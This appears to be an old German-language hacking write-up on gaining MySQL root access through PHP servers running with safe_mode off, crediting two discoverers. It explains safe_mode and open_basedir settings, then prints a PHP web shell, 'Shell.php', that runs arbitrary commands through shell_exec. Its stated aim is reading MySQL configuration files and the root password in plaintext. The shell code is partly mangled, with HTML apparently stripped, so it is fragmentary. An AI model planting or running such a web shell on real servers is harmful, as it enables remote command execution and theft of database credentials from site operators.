==================================================== How to gain r00t SQL access on xxx :) Safemod off ==================================================== Discvovered by: Martin W. (martin.wyss@forgotten.ch) - Simon M. (admin@segfault.ch) INTRODUCTION Es ist möglich durch den nichtaktivierten "Safe Mode" in Apache httpd 1.3.29 php mod Systembefehle durch ein serverseitiges PHP Script auszuführen. Somit kann man die Config Files von MySQL auslesen, bzw. das Root Password in Plaintext ausgeben. PROBLEM ONE "Safe Mode" Safe Mode ist der Versuch, Sicherheitsprobleme bei gemeinsam genutzten Servern zu lösen. Bezogen auf die Systemarchitektur, ist es der falsche Ansatz, diese Probleme innerhalb der PHP Schicht lösen zu wollen. Da es auf Ebene des Webservers bzw. des Betriebssystems keine praktischen Alternativen gibt, wird Safe Mode nunmehr von vielen Leuten, vor allem von Providern, eingesetzt. Wie man "Safe Mode" konfiguriert safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH disable_functions = Wenn safe_mode aktiviert ist, überprüft PHP, ob der Eigentümer des laufenden Skriptes dem Eigentümer der Datei entspricht, an der mit Hilfe der Dateifunktionen gearbeitet werden soll. Beispiel: -rw-rw-r-- 1 claude rasmus 33 Jul 1 19:20 script.php -rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd Bei der Ausführung dieses Skriptes erscheint bei aktiviertem Safe Mode folgende Warnung: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2 Wenn anstelle von safe_mode ein open_basedir Verzeichnis angegeben wurde, können Dateioperationen nur noch unterhalb dieses Verzeichnisses vorgenommen werden. Beispiel (Apache httpd.conf): php_admin_value open_basedir /docroot PROBLEM TWO Ausführen von PHP Scripten: Da ich nun weiss das "Safe Mode" nicht aktiv ist, kann ich mittels einem simplen PHP Script Serverbefehle ausführen: > Shell.php //------> Shell by z9diac"; echo "\n
\n"; echo "command: "; echo "
"; echo "
"; $output = shell_exec($command); $output = str_replace("\xa","
",$output); echo "_START_\n"; echo($output); echo "_END_\n"; /* das ist der alte befehl aus 0.2 system("$command"); */ exit(); ?> <-----\\